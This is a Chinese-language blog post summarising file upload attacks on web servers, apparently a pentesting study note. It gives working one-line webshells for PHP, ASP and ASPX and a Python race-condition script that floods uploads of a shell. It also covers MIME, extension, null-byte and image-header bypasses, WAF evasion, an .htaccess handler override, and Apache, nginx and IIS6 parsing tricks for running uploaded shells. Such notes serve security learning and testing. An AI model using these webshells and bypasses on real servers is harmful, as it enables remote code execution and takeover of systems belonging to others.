File upload vulnerability Summary

文件上传实现

HTML 代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
<!--首先HTML会如下写,然后服务器端有一个server.php,用来接收处理上传的文件-->

<html>
<head><title>upload picture more once</title></head>
<body>
<form action="1.php" method="post" enctype="multipart/form-data"><!--这里action写那个处理的1.php,method写post-->
<p>Pictures:<br />
<input type="file" name="2333" /><br />
<input type="submit" name="upload" value="Send" />
</p>
</form>
</body>
</html>

假设我们提交了一个写着 phpinfo() 的 php 文件,然后这个 HTML 会将上传的文件以如下发包方式发过去

1
2
3
4
5
6
7
8
9
10
11
------WebKitFormBoundary5cOINdf9NfnWclrC
Content-Disposition: form-data; name="upload_file"; filename="1.php"
Content-Type: application/octet-stream
#这里的Content-Type决定了未来传到1.php中的$_FILES['upload_file']['type']里的type值

<?php phpinfo();?>
------WebKitFormBoundary5cOINdf9NfnWclrC
Content-Disposition: form-data; name="submit"

涓婁紶
------WebKitFormBoundary5cOINdf9NfnWclrC--

然后传到 server.php 中时

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php");
$file_name = trim($_FILES['upload_file']['name']);//这里的$_FILES就是上传进来的文件($_FILES本身是数组形式),前一个[]指定文件是谁,后一个[]指定数组内容

if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {//文件上传成功后会被放到一个临时目录(即$FILES[]['tmp_name']),我们需要将其移动到我们真正上传的目录,不然在此php文件运行结束后上传的文件将被自动删除
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件类型不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}

具体 $_FILES 用法详见[[PHP全局变量#$_FILES]],而 $_FILES[][] 后一个中括号里的数组内容可以是:

1
2
3
4
5
6
7
8
9
$_FILES['myFile']['name'] 客户端文件的原名称。 

$_FILES['myFile']['type'] 文件的 MIME 类型,需要浏览器提供该信息的支持,例如"image/gif"

$_FILES['myFile']['size'] 已上传文件的大小,单位为字节

$_FILES['myFile']['tmp_name'] 文件被上传后在服务端储存的临时文件名,一般是系统默认。可以在php.ini的upload_tmp_dir 指定,但 用 putenv() 函数设置是不起作用的

$_FILES['myFile']['error'] 和该文件上传相关的错误代码。['error'] 是在 PHP 4.2.0 版本中增加的。下面是它的说明:(它们在PHP3.0以后成了常量)

文件上传技巧

参考[[从PHP代码层面分析文件上传漏洞]]

0x00.Tips

  • 一句话
1
2
3
4
5
6
7
8
9
* asp一句话木马:  
<%execute(request("value"))%>

* php一句话木马:
<?php @eval($_POST[haha]);?>

* aspx一句话木马:
<%@ Page Language="Jscript"%>
<%eval(Request.Item["value"])%>
  • 文件上传有可能是通过 js 控制的,要不禁用 js,要不删除 js 的相关限制函数

  • 传入的一句话可以在浏览器内直接 post php 函数名,比如:

1
2
3
phpinfo();
system('ipconfig')
或者在前面加上echo('<pre>');来使输出的文件变得规整

本地验证

可以根据上传后的验证速度初步判断是不是本地验证,有可能会有:

1
onsubmit="return checkFile()"//删掉就好

也有可能是 js 限制,不过如果还是前端的话,改一下就好

文件类型验证

  • 如果说服务器检查的是文件的类型 MIME,那么可以更改相应的类型来达到伪造上传的效果,例如:
1
2
3
4
php上传后默认是:
text/plain
我们可以更改为
image/jpeg(这个具体是什么视情况而定)

偶尔可以尝试将.php 先改为.jpg,再在 burp 的抓包里改回来

文件后缀名验证

可以更改文件的后缀名来绕过黑名单,例如:
php 别名

1
2
3
4
5
6
.php2
.php3
.php4
.phps
.pht
.phtml

对图片内容给进行验证

就是图片马
如果没对图片后缀进行验证,那么改后缀为 php 即可。但是如果对后缀进行了验证,我们就必须上传图片后缀文件,同时里边加上 shell 代码。

空字节截断

如果抓包中有显示文件上传的相对路径名字,那么可以尝试在路径后面做出改变,例如:

1
2
3
1.php+空格+1.jpg
及:1.php 1.jpg
然后在HEX十六进制的页面,将自己的空格(20)改为00,再回去看那个地方空格会变成一个小白方格

上传的时候就会自动忽略.jpg

服务端检测文件内容

如果只校验 php/asp 等后缀名内容是不是木马
我们可以通过先去上传一个含有木马的 txt 文件
然后再上传一个有[[文件包含漏洞]]操作的无害 php 文件,

1
2
3
4
5
6
7
8
#PHP    
<?php Include("上传的txt文件路径");?>
#ASP
<!--#include file="上传的txt文件路径" -->
#JSP
<jsp:inclde page="上传的txt文件路径"/>
or
<%@include file="上传的txt文件路径"%>

服务端检测文件头

1
2
3
PNG: 文件头标识 (8 bytes) 89 50 4E 47 0D 0A 1A 0A
JPEG: 文件头标识 (2 bytes): 0xff, 0xd8 (SOI) (JPEG 文件标识)
GIF: 文件头标识 (6 bytes) 47 49 46 38 39(37) 61

在木马前加上文件相关文件头就好了
例如

1
2
GIF89a
<?php phpinfo(); ?>

条件竞争上传

上传的脚本绕过了过滤,但是在那边会被查杀删除,所以我们可以
原理:写一个脚本,使用一个多并发线程发送 shell,同时时刻访问那个 shell,总有一个会连接上
脚本示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os
import requests
import threading

class RaceCondition(threading.Thread):
def __init__(self):
threading.Thread.__init__(self)
self.url = "http://127.0.0.1:8080/upload/shell0.php"
self.uploadUrl = "http://127.0.0.1:8080/upload/copy.php"

def _get(self):
print('try to call uploaded file...')
r = requests.get(self.url)
if r.status_code == 200:
print("[*]create file info.php success")
os._exit(0)

def _upload(self):
print("upload file.....")
file = {"file":open("shell0.php","r")}
requests.post(self.uploadUrl, files=file)

def run(self):
while True:
for i in range(5):
self._get()
for i in range(10):
self._upload()
self._get()

if __name__ == "__main__":
threads = 20

for i in range(threads):
t = RaceCondition()
t.start()

for i in range(threads):
t.join()

WAF 骚操作绕过

  • 删除 Content-Disposition 与 form-data 中间默认有的空格

更改 Content-Disposition 字符中的大小写

  • 特殊的长文件名绕过
1
shell.asp;王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王王.jpg
  • 有些 WAF 的规则是:如果数据包为 POST 类型,则校验数据包内容。 此种情况可以上传一个 POST 型的数据包,抓包将 POST 改为 GET。

  • 利用 WAF 本身的缺陷:

直接删除 Content-Type 整行
删除掉 ontent-Type: image/jpeg 只留下 c,将.php 加 c 后面即可,但是要注意额,双引号要跟着 c.php

1
2
3
正常包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png"Content-Type: image/png
构造包:Content-Disposition: form-data; name="image"; filename="085733uykwusqcs8vw8wky.png
C.php"
  • 在文件内容填垃圾数据,绕过内容检验

  • 在文件头填垃圾数据,绕过文件名检验

  • Content-Disposition 参数后面去加垃圾数据,导致 waf 出错

Content-Disposition 在请求头中时

通常存在于 multipart/form-data 请求体中

1
Content-Disposition: form-data; name="fieldName"; filename="filename.jpg" //第一个参数恒定为form-data ,后两个分别是表单项名与上传的文件名

在响应头时,表示页面以什么形式呈现

是参数inline 时,以页面或页面的一部分渲染呈现
是参数attachment时,将页面作为文件下载

1
2
3
4
5
6
// 正常解析渲染
Content-Disposition: inline
// 下载文件
Content-Disposition: attachment
// 下载文件,并将文件保存为filename.jpg
Content-Disposition: attachment; filename="filename.jpg"

0x01.Apache

当文件上传过去的时候,Apache 从右向左对文件名进行解析

  • 利用 Apache 从右向左的解析习惯

上传 1.php.bak 或者任意一个编造的后缀
在某些版本可当做 php 来执行(因为 apache 从右到左对文件名进行解析,而 .bak 是 httpd.conf 识别不了的文件名后缀,
故 apache 会自动提取左边的.php)

  • 通过构造当前网页配置文件.htaccess


创建一个文件名为.htaccess 的文件,保存格式为 eXtensible Markup Language file
内容为:

1
2
3
4
5
6
<FilesMatch "cimer"> //cimer可以替换为自己想要的后缀名,后期改这个后缀名上传就好了
SetHandler application/x-httpd-php
</FilesMatch>

将.htaccess上传到指定页面中(它是配置文件,所以不会被拦截),然后将自己的.php代码更改后缀名为.cimer(自己起的那个)上传
菜刀连接时同样访问这个****.cimer就好。

0x02.nginx

  • 上传了个 1.jpg(这里不是图片马) 只要访问 www.hahaha.com/upload/1.jpg/1.php 便可以执行 php 代码

  • 一般文件上传是不需要图片马的,正常上传改后缀,解析啥的即可。

1
2
3
4
5
只有当有函数getimagesize()作过滤的时候(会检查文件头,图片的长宽等),才需要使用图片马。

图片马可以通过cmd中copy来制作 ,假设图片是1.jpg,马是2.php,最后生成3.jpg

copy 1.jpg/a+2.php/b 3.jpg

最后需要将文件名改为 3.jpg.php,才可以连接菜刀。

0x03.IIS6.0

IIS6.0 的解析漏洞

  • 随便上传一张图片,更改包内上传文件保存的地址,增加一个 1.asp/,比方说
1
2
3
4
5
包内显示原上传路径为:upload/
这时需要更改为:upload/1.asp/ 或者1.php

这样那个图片文件就会默认保存在1.asp/后边的目录了,记录下上传后的文件名
然后菜刀地址里就写:...../upload/1.asp/haha.jpg,输入密码即可连接

这时候 IIS 就会自动忽略不解析/haha.jpg 这段内容,直到 1.asp 就停止了

  • 随便上传一张图片,仍然是更改包中的路径,但这次利用分号
1
2
3
4
5
6
包内显示原上传路径为:upload/
这时需要更改为:upload/1.asp;
//注意:文件名那里不能动,因为即便文件名改为1.asp;1.jpg,上传后构造的1.asp;全部会被替换掉

上传完后,上传的图片(其实没有)和1.asp都是同在upload文件夹下面的
所以菜刀的连接地址为:upload/1.asp;1.jpg

系统会认为分号是一个内存断点

File upload vulnerability Summary

https://resek4.github.io/2020/08/11/文件上传/

Author

Resek4

Posted on

2020-08-11

Updated on

2023-02-26

Licensed under

Comments